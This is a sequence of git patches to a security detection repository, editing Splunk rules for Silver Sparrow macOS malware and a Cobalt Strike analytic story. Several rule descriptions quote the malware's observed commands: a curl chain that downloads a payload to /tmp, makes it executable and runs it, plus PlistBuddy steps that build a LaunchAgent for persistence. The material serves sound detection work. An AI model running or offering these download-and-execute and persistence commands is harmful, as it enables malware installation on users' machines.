@@ -21,7 +21,7 @@ references:
 - https://redcanary.com/blog/clipping-silver-sparrows-wings/
 - https://marcosantadev.com/manage-plist-files-plistbuddy/
 author: Michael Haag, Splunk
-search: ' | `suspicious_curl_network_connection_filter`'
+search: ' | `suspicious_sqlite3_lsquarantine_behavior_filter`'
 known_false_positives: 
 tags:
   analytic_story:

From 54cc6120937a451ee37cb93699c94edd5489335d Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 14:02:38 -0700
Subject: [PATCH 23/67] fix

---
 detections/endpoint/suspicious_curl_network_connection.yml      | 2 +-
 .../endpoint/suspicious_sqlite3_lsquarantine_behavior.yml       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/detections/endpoint/suspicious_curl_network_connection.yml b/detections/endpoint/suspicious_curl_network_connection.yml
index ebba2c8ce9..fb44d3f39f 100644
--- a/detections/endpoint/suspicious_curl_network_connection.yml
+++ b/detections/endpoint/suspicious_curl_network_connection.yml
@@ -27,7 +27,7 @@ references:
 - https://marcosantadev.com/manage-plist-files-plistbuddy/
 author: Michael Haag, Splunk
 search: ' | `suspicious_curl_network_connection_filter`'
-known_false_positives: 
+known_false_positives: Unknown.
 tags:
   analytic_story:
   - Silver Sparrow
diff --git a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
index adc21fe5a2..5ad6541710 100644
--- a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
+++ b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
@@ -22,7 +22,7 @@ references:
 - https://marcosantadev.com/manage-plist-files-plistbuddy/
 author: Michael Haag, Splunk
 search: ' | `suspicious_sqlite3_lsquarantine_behavior_filter`'
-known_false_positives: 
+known_false_positives: Unknown.
 tags:
   analytic_story:
   - Silver Sparrow

From 7748c9dc65c86277a757f9f6de02c0b31364a327 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 14:07:36 -0700
Subject: [PATCH 24/67] update

---
 .../endpoint/suspicious_curl_network_connection.yml | 13 ++++++-------
 .../suspicious_sqlite3_lsquarantine_behavior.yml    |  6 ++----
 2 files changed, 8 insertions(+), 11 deletions(-)

diff --git a/detections/endpoint/suspicious_curl_network_connection.yml b/detections/endpoint/suspicious_curl_network_connection.yml
index fb44d3f39f..4b30e7e2ee 100644
--- a/detections/endpoint/suspicious_curl_network_connection.yml
+++ b/detections/endpoint/suspicious_curl_network_connection.yml
@@ -5,14 +5,13 @@ date: '2021-02-22'
 description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
   In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software. 
 
-  ```
-  curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
-  plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist\
 
-  curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verx
-  chmod 777 /tmp/verx
-  /tmp/verx upbuchupsf 
-  ```
+  `curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json`\
+  `plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist`\
+
+  `curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verx`\
+  `chmod 777 /tmp/verx`\
+  `/tmp/verx upbuchupsf`\
 
   Upon triage, capture the .plist file being written to disk and review for further indicators.'
 how_to_implement: To successfully implement this search you need to be ingesting information
diff --git a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
index 5ad6541710..2f58583782 100644
--- a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
+++ b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
@@ -3,11 +3,9 @@ id: e1997b2e-655f-4561-82fd-aeba8e1c1a86
 version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
-  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software. 
+  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software.\
 
-  ```
-  sqlite3 sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* "select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like "[redacted]" order by LSQuarantineTimeStamp desc"
-  ```
+  `sqlite3 sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* "select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like "[redacted]" order by LSQuarantineTimeStamp desc"`\
 
   Upon triage, capture the .plist file being written to disk and review for further indicators.'
 how_to_implement: To successfully implement this search you need to be ingesting information

From 0e1de2f89f31600d9b7fb18bb1b37884d49e2ef4 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 14:11:35 -0700
Subject: [PATCH 25/67] Update suspicious_curl_network_connection.yml

---
 .../suspicious_curl_network_connection.yml         | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/detections/endpoint/suspicious_curl_network_connection.yml b/detections/endpoint/suspicious_curl_network_connection.yml
index 4b30e7e2ee..785fab16d3 100644
--- a/detections/endpoint/suspicious_curl_network_connection.yml
+++ b/detections/endpoint/suspicious_curl_network_connection.yml
@@ -3,15 +3,13 @@ id: 3f613dc0-21f2-4063-93b1-5d3c15eef22f
 version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
-  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software. 
+  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software.\
 
-
-  `curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json`\
-  `plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist`\
-
-  `curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verx`\
-  `chmod 777 /tmp/verx`\
-  `/tmp/verx upbuchupsf`\
+  - `curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json`\
+  - `plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist`\
+  - `curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verx`\
+  - `chmod 777 /tmp/verx`\
+  - `/tmp/verx upbuchupsf`\
 
   Upon triage, capture the .plist file being written to disk and review for further indicators.'
 how_to_implement: To successfully implement this search you need to be ingesting information

From 5ec99d2c768100992273fe9ff016f73422dc1566 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 14:16:05 -0700
Subject: [PATCH 26/67] Update suspicious_curl_network_connection.yml

---
 .../endpoint/suspicious_curl_network_connection.yml  | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/detections/endpoint/suspicious_curl_network_connection.yml b/detections/endpoint/suspicious_curl_network_connection.yml
index 785fab16d3..a948542a40 100644
--- a/detections/endpoint/suspicious_curl_network_connection.yml
+++ b/detections/endpoint/suspicious_curl_network_connection.yml
@@ -3,13 +3,9 @@ id: 3f613dc0-21f2-4063-93b1-5d3c15eef22f
 version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
-  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software.\
-
-  - `curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json`\
-  - `plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist`\
-  - `curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verx`\
-  - `chmod 777 /tmp/verx`\
-  - `/tmp/verx upbuchupsf`\
+  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware-malicious software.\
+  
+  - curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json \
 
   Upon triage, capture the .plist file being written to disk and review for further indicators.'
 how_to_implement: To successfully implement this search you need to be ingesting information
@@ -39,4 +35,4 @@ tags:
   security_domain: endpoint
   asset_type: Endpoint
   dataset:
-  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T543.001/atomic-red-team/windows-sysmon.log
+  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1543.001/atomic-red-team/windows-sysmon.log

From 65a9f81411b9ca4d723805be93b9a7491d684a1a Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 14:19:00 -0700
Subject: [PATCH 27/67] Update suspicious_curl_network_connection.yml

---
 detections/endpoint/suspicious_curl_network_connection.yml | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/detections/endpoint/suspicious_curl_network_connection.yml b/detections/endpoint/suspicious_curl_network_connection.yml
index a948542a40..86d1cd0d52 100644
--- a/detections/endpoint/suspicious_curl_network_connection.yml
+++ b/detections/endpoint/suspicious_curl_network_connection.yml
@@ -3,10 +3,7 @@ id: 3f613dc0-21f2-4063-93b1-5d3c15eef22f
 version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
-  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware-malicious software.\
-  
-  - curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json \
-
+  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware-malicious software.
   Upon triage, capture the .plist file being written to disk and review for further indicators.'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from

From 762bed4384c179ab4a6a54674cb0978227c6ad5f Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 14:24:44 -0700
Subject: [PATCH 28/67] fix

---
 detections/endpoint/suspicious_curl_network_connection.yml  | 3 +--
 detections/endpoint/suspicious_plistbuddy_usage.yml         | 5 ++---
 .../endpoint/suspicious_sqlite3_lsquarantine_behavior.yml   | 6 +-----
 3 files changed, 4 insertions(+), 10 deletions(-)

diff --git a/detections/endpoint/suspicious_curl_network_connection.yml b/detections/endpoint/suspicious_curl_network_connection.yml
index 86d1cd0d52..b9d673a83d 100644
--- a/detections/endpoint/suspicious_curl_network_connection.yml
+++ b/detections/endpoint/suspicious_curl_network_connection.yml
@@ -3,8 +3,7 @@ id: 3f613dc0-21f2-4063-93b1-5d3c15eef22f
 version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
-  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware-malicious software.
-  Upon triage, capture the .plist file being written to disk and review for further indicators.'
+  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware-malicious software.'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.
diff --git a/detections/endpoint/suspicious_plistbuddy_usage.yml b/detections/endpoint/suspicious_plistbuddy_usage.yml
index 3112f363f9..723ad11dae 100644
--- a/detections/endpoint/suspicious_plistbuddy_usage.yml
+++ b/detections/endpoint/suspicious_plistbuddy_usage.yml
@@ -16,9 +16,8 @@ description: 'The following analytic identifies the use of a native MacOS utilit
   - PlistBuddy -c "Add :ProgramArguments:0 string /bin/sh" ~/Library/Launchagents/init_verx.plist \
   
   - PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/Launchagents/init_verx.plist \
-
-
-  Upon triage, capture the .plist file being written to disk and review for further indicators. Contain the endpoint and triage further.'
+  
+  Upon triage, capture the property list file being written to disk and review for further indicators. Contain the endpoint and triage further.'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.
diff --git a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
index 2f58583782..05576ae874 100644
--- a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
+++ b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
@@ -3,11 +3,7 @@ id: e1997b2e-655f-4561-82fd-aeba8e1c1a86
 version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
-  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware/malicious software.\
-
-  `sqlite3 sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* "select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like "[redacted]" order by LSQuarantineTimeStamp desc"`\
-
-  Upon triage, capture the .plist file being written to disk and review for further indicators.'
+  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware-malicious software. Upon triage, capture the .plist file being written to disk and review for further indicators.'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.

From 4cae9952d567cfef5119118f0947d1cf6ba22fd1 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 15:06:29 -0700
Subject: [PATCH 29/67] Update cobalt_strike.yml

---
 stories/cobalt_strike.yml | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/stories/cobalt_strike.yml b/stories/cobalt_strike.yml
index 624da4efa7..052b8b8492 100644
--- a/stories/cobalt_strike.yml
+++ b/stories/cobalt_strike.yml
@@ -11,15 +11,21 @@ narrative: 'This Analytic Story supports you to detect Tactics, Techniques and P
   On the network, depending on the malleable C2 profile used, it is near infinite in the amount of ways to conceal the C2 traffic with Cobalt Strike.
   Not every query may be specific to Cobalt Strike the tool, but the methodologies and techniques used by it.\
 
+  Splunk Threat Research reviewed all publicly available instances of Malleabe C2 Profiles and generated a list of the most commonly used spawnto and pipenames.\
+  
+  Spawnto_x86 and spawnto_x64 is the process that Cobalt Strike will spawn and injects shellcode into.\
+  
+  Pipename sets the named pipe  name used in Cobalt Strikes Beacon SMB C2 traffic.\
+
   In generating content for Cobalt Strike, the following is considered:\
 
-  1. Is it normal for <spawnto_ value> to have no command line arguments? No command line arguments and a network connection?\
+  1. Is it normal for <pawnto_ value to have no command line arguments? No command line arguments and a network connection?\
 
-  1. What is the default, or normal, process lineage for <spawnto_ value>?\
+  1. What is the default, or normal, process lineage for spawnto_ value?\
 
-  1. Does the <spawnto_ value> make network connections?\
+  1. Does the spawnto_ value make network connections?\
 
-  1. Is it normal for <spawnto_ value> to load jscript, vbscript, Amsi.dll, and clr.dll?'
+  1. Is it normal for spawnto_ value to load jscript, vbscript, Amsi.dll, and clr.dll?'
 
 references:
 - https://www.cobaltstrike.com/

From 2c996886e393bfedc44994a28100779cc499c169 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Thu, 25 Feb 2021 15:13:32 -0700
Subject: [PATCH 30/67] Update cobalt_strike.yml

---
 stories/cobalt_strike.yml | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/stories/cobalt_strike.yml b/stories/cobalt_strike.yml
index 052b8b8492..7efffb08df 100644
--- a/stories/cobalt_strike.yml
+++ b/stories/cobalt_strike.yml
@@ -17,15 +17,18 @@ narrative: 'This Analytic Story supports you to detect Tactics, Techniques and P
   
   Pipename sets the named pipe  name used in Cobalt Strikes Beacon SMB C2 traffic.\
 
+  With that, new detections were generated focused on these spawnto processes spawning without command line arguments. Similar, the named pipes most commonly used by Cobalt Strike added as a detection.
   In generating content for Cobalt Strike, the following is considered:\
 
-  1. Is it normal for <pawnto_ value to have no command line arguments? No command line arguments and a network connection?\
+  - Is it normal for <pawnto_ value to have no command line arguments? No command line arguments and a network connection?\
 
-  1. What is the default, or normal, process lineage for spawnto_ value?\
+  - What is the default, or normal, process lineage for spawnto_ value?\
 
-  1. Does the spawnto_ value make network connections?\
+  - Does the spawnto_ value make network connections?\
 
-  1. Is it normal for spawnto_ value to load jscript, vbscript, Amsi.dll, and clr.dll?'
+  - Is it normal for spawnto_ value to load jscript, vbscript, Amsi.dll, and clr.dll?\
+  
+  While investigating a detection related to this Analytic Story, keep in mind the parent process, process path, and any file modifications that may occur. Tuning may need to occur to remove any false positives.'
 
 references:
 - https://www.cobaltstrike.com/

From d265e72e8d7c483fcb567e01db15a50a16b175d1 Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 1 Mar 2021 06:23:51 -0700
Subject: [PATCH 31/67] Silver Sparrow

---
 ...spicious_sqlite3_lsquarantine_behavior.yml | 34 --------------
 .../suspicious_curl_network_connection.yml    | 21 +++++----
 .../endpoint/suspicious_plistbuddy_usage.yml  | 17 ++++---
 ...uspicious_plistbuddy_usage_via_osquery.yml | 44 +++++++++++++++++++
 ...spicious_sqlite3_lsquarantine_behavior.yml | 37 ++++++++++++++++
 5 files changed, 103 insertions(+), 50 deletions(-)
 delete mode 100644 detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
 rename detections/{ => experimental}/endpoint/suspicious_curl_network_connection.yml (58%)
 rename detections/{ => experimental}/endpoint/suspicious_plistbuddy_usage.yml (67%)
 create mode 100644 detections/experimental/endpoint/suspicious_plistbuddy_usage_via_osquery.yml
 create mode 100644 detections/experimental/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml

diff --git a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml b/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
deleted file mode 100644
index 05576ae874..0000000000
--- a/detections/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
+++ /dev/null
@@ -1,34 +0,0 @@
-name: Suspicious SQLite3 LSQuarantine Behavior
-id: e1997b2e-655f-4561-82fd-aeba8e1c1a86
-version: 1
-date: '2021-02-22'
-description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
-  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware-malicious software. Upon triage, capture the .plist file being written to disk and review for further indicators.'
-how_to_implement: To successfully implement this search you need to be ingesting information
-  on process that include the name of the process responsible for the changes from
-  your endpoints into the `Endpoint` datamodel in the `Processes` node.
-  In addition, OSQuery must be installed and configured to pick up process events (info
-  at https://osquery.io) as well as using the Splunk OSQuery Add-on https://splunkbase.splunk.com/app/4402.
-type: batch
-datamodel: []
-references:
-- https://redcanary.com/blog/clipping-silver-sparrows-wings/
-- https://marcosantadev.com/manage-plist-files-plistbuddy/
-author: Michael Haag, Splunk
-search: ' | `suspicious_sqlite3_lsquarantine_behavior_filter`'
-known_false_positives: Unknown.
-tags:
-  analytic_story:
-  - Silver Sparrow
-  mitre_attack_id:
-  - T1543.001
-  kill_chain_phases:
-  - Actions on Objectives
-  product:
-  - Splunk Enterprise
-  - Splunk Enterprise Security
-  - Splunk Cloud
-  security_domain: endpoint
-  asset_type: Endpoint
-  dataset:
-  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T543.001/atomic-red-team/windows-sysmon.log
diff --git a/detections/endpoint/suspicious_curl_network_connection.yml b/detections/experimental/endpoint/suspicious_curl_network_connection.yml
similarity index 58%
rename from detections/endpoint/suspicious_curl_network_connection.yml
rename to detections/experimental/endpoint/suspicious_curl_network_connection.yml
index b9d673a83d..ca51d5279e 100644
--- a/detections/endpoint/suspicious_curl_network_connection.yml
+++ b/detections/experimental/endpoint/suspicious_curl_network_connection.yml
@@ -3,25 +3,29 @@ id: 3f613dc0-21f2-4063-93b1-5d3c15eef22f
 version: 1
 date: '2021-02-22'
 description: 'The following analytic identifies the use of a curl contacting suspicious remote domains to checkin to command and control servers or download further implants.
-  In the context of Silver Sparrow, curl is identified contacting amazonaws.com. This particular behavior is common with MacOS adware-malicious software.'
+  In the context of Silver Sparrow, curl is identified contacting s3.amazonaws.com. This particular behavior is common with MacOS adware-malicious software.'
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.
-  In addition, OSQuery must be installed and configured to pick up process events (info
-  at https://osquery.io) as well as using the Splunk OSQuery Add-on https://splunkbase.splunk.com/app/4402.
 type: batch
-datamodel: []
+datamodel:
+- Endpoint
 references:
 - https://redcanary.com/blog/clipping-silver-sparrows-wings/
 - https://marcosantadev.com/manage-plist-files-plistbuddy/
 author: Michael Haag, Splunk
-search: ' | `suspicious_curl_network_connection_filter`'
-known_false_positives: Unknown.
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=curl
+  Processes.process=s3.amazonaws.com by Processes.dest
+  Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_curl_network_connection_filter`'
+known_false_positives: Unknown. Filter as needed.
 tags:
   analytic_story:
   - Silver Sparrow
   mitre_attack_id:
-  - T1543.001
+  - T1071.001
   kill_chain_phases:
   - Actions on Objectives
   product:
@@ -30,5 +34,4 @@ tags:
   - Splunk Cloud
   security_domain: endpoint
   asset_type: Endpoint
-  dataset:
-  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1543.001/atomic-red-team/windows-sysmon.log
+  dataset: []
diff --git a/detections/endpoint/suspicious_plistbuddy_usage.yml b/detections/experimental/endpoint/suspicious_plistbuddy_usage.yml
similarity index 67%
rename from detections/endpoint/suspicious_plistbuddy_usage.yml
rename to detections/experimental/endpoint/suspicious_plistbuddy_usage.yml
index 723ad11dae..b8600c55eb 100644
--- a/detections/endpoint/suspicious_plistbuddy_usage.yml
+++ b/detections/experimental/endpoint/suspicious_plistbuddy_usage.yml
@@ -21,16 +21,20 @@ description: 'The following analytic identifies the use of a native MacOS utilit
 how_to_implement: To successfully implement this search you need to be ingesting information
   on process that include the name of the process responsible for the changes from
   your endpoints into the `Endpoint` datamodel in the `Processes` node.
-  In addition, OSQuery must be installed and configured to pick up process events (info
-  at https://osquery.io) as well as using the Splunk OSQuery Add-on https://splunkbase.splunk.com/app/4402.
 type: batch
-datamodel: []
+datamodel:
+- Endpoint
 references:
 - https://redcanary.com/blog/clipping-silver-sparrows-wings/
 - https://marcosantadev.com/manage-plist-files-plistbuddy/
 author: Michael Haag, Splunk
-search: ' |  `suspicious_plistbuddy_usage_filter`'
-known_false_positives: Although unlikely, some legitimate applications may use PlistBuddy to create or modify property lists.
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=PlistBuddy
+  (Processes.process=*LaunchAgents* OR Processes.process=*RunAtLoad* OR Processes.process=*true*) by Processes.dest
+  Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` |  `suspicious_plistbuddy_usage_filter`'
+known_false_positives: Some legitimate applications may use PlistBuddy to create or modify property lists and possibly generate false positives. Review the property list being modified or created to confirm.
 tags:
   analytic_story:
   - Silver Sparrow
@@ -44,5 +48,4 @@ tags:
   - Splunk Cloud
   security_domain: endpoint
   asset_type: Endpoint
-  dataset:
-  - https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1543.001/atomic-red-team/windows-sysmon.log
+  dataset: []
diff --git a/detections/experimental/endpoint/suspicious_plistbuddy_usage_via_osquery.yml b/detections/experimental/endpoint/suspicious_plistbuddy_usage_via_osquery.yml
new file mode 100644
index 0000000000..f3d2c0d72f
--- /dev/null
+++ b/detections/experimental/endpoint/suspicious_plistbuddy_usage_via_osquery.yml
@@ -0,0 +1,44 @@
+name: Suspicious PlistBuddy Usage via OSquery
+id: 20ba6c32-c733-4a32-b64e-2688cf231399
+version: 1
+date: '2021-02-22'
+description: 'The following analytic identifies the use of a native MacOS utility, PlistBuddy, creating or modifying a properly list (.plist) file. In the instance of Silver Sparrow,
+  the following commands were executed:\
+   
+  - PlistBuddy -c "Add :Label string init_verx" ~/Library/Launchagents/init_verx.plist \
+
+  - PlistBuddy -c "Add :RunAtLoad bool true" ~/Library/Launchagents/init_verx.plist \
+
+  - PlistBuddy -c "Add :StartInterval integer 3600" ~/Library/Launchagents/init_verx.plist \
+
+  - PlistBuddy -c "Add :ProgramArguments array" ~/Library/Launchagents/init_verx.plist \
+
+  - PlistBuddy -c "Add :ProgramArguments:0 string /bin/sh" ~/Library/Launchagents/init_verx.plist \
+  
+  - PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/Launchagents/init_verx.plist \
+  
+  Upon triage, capture the property list file being written to disk and review for further indicators. Contain the endpoint and triage further.'
+how_to_implement: OSQuery must be installed and configured to pick up process events (info
+  at https://osquery.io) as well as using the Splunk OSQuery Add-on https://splunkbase.splunk.com/app/4402. Modify the macro and validate fields are correct.
+type: batch
+datamodel: []
+references:
+- https://redcanary.com/blog/clipping-silver-sparrows-wings/
+- https://marcosantadev.com/manage-plist-files-plistbuddy/
+author: Michael Haag, Splunk
+search: '`osquery_process` "columns.cmdline"="*LaunchAgents*" OR "columns.cmdline"="*RunAtLoad*" OR "columns.cmdline"="*true*" |  `suspicious_plistbuddy_usage_via_osquery_filter`'
+known_false_positives: Some legitimate applications may use PlistBuddy to create or modify property lists and possibly generate false positives. Review the property list being modified or created to confirm.
+tags:
+  analytic_story:
+  - Silver Sparrow
+  mitre_attack_id:
+  - T1543.001
+  kill_chain_phases:
+  - Actions on Objectives
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  security_domain: endpoint
+  asset_type: Endpoint
+  dataset: []
diff --git a/detections/experimental/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml b/detections/experimental/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
new file mode 100644
index 0000000000..31d0b5c9de
--- /dev/null
+++ b/detections/experimental/endpoint/suspicious_sqlite3_lsquarantine_behavior.yml
@@ -0,0 +1,37 @@
+name: Suspicious SQLite3 LSQuarantine Behavior
+id: e1997b2e-655f-4561-82fd-aeba8e1c1a86
+version: 1
+date: '2021-02-22'
+description: 'The following analytic identifies the use of a SQLite3 querying the MacOS preferences to identify the original URL the pkg was downloaded from.
+  This particular behavior is common with MacOS adware-malicious software. Upon triage, review other processes in parallel for suspicious activity. Identify any recent package installations.'
+how_to_implement: To successfully implement this search you need to be ingesting information
+  on process that include the name of the process responsible for the changes from
+  your endpoints into the `Endpoint` datamodel in the `Processes` node.
+type: batch
+datamodel:
+- Endpoint
+references:
+- https://redcanary.com/blog/clipping-silver-sparrows-wings/
+- https://marcosantadev.com/manage-plist-files-plistbuddy/
+author: Michael Haag, Splunk
+search: '| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
+  as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sqlite3
+  Processes.process=*LSQuarantine* by Processes.dest
+  Processes.user Processes.parent_process Processes.process_name Processes.process
+  Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)`
+  | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_sqlite3_lsquarantine_behavior_filter`'
+known_false_positives: Unknown.
+tags:
+  analytic_story:
+  - Silver Sparrow
+  mitre_attack_id:
+  - T1074
+  kill_chain_phases:
+  - Actions on Objectives
+  product:
+  - Splunk Enterprise
+  - Splunk Enterprise Security
+  - Splunk Cloud
+  security_domain: endpoint
+  asset_type: Endpoint
+  dataset: []

From ecb82ec8ca11d49a4ce2781641af19bf05b9acff Mon Sep 17 00:00:00 2001
From: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Date: Mon, 1 Mar 2021 06:52:02 -0700
Subject: [PATCH 32/67] Fixes

---
 .../suspicious_curl_network_connection.yml         |  2 +-
 stories/cobalt_strike.yml                          |  4 +++-
 stories/silver_sparrow.yml                         |  5 ++---
 stories/suspicious_mshta_activity.yml              | 14 +++++++++++---
 4 files changed, 17 insertions(+), 8 deletions(-)

diff --git a/detections/experimental/endpoint/suspicious_curl_network_connection.yml b/detections/experimental/endpoint/suspicious_curl_network_connection.yml
index ca51d5279e..77cfa71ba9 100644
--- a/detections/experimental/endpoint/suspicious_curl_network_connection.yml
+++ b/detections/experimental/endpoint/suspicious_curl_network_connection.yml
@@ -25,7 +25,7 @@ tags:
   analytic_story:
   - Silver Sparrow
   mitre_attack_id:
-  - T1071.001
+  - T1105
   kill_chain_phases:
   - Actions on Objectives
   product:
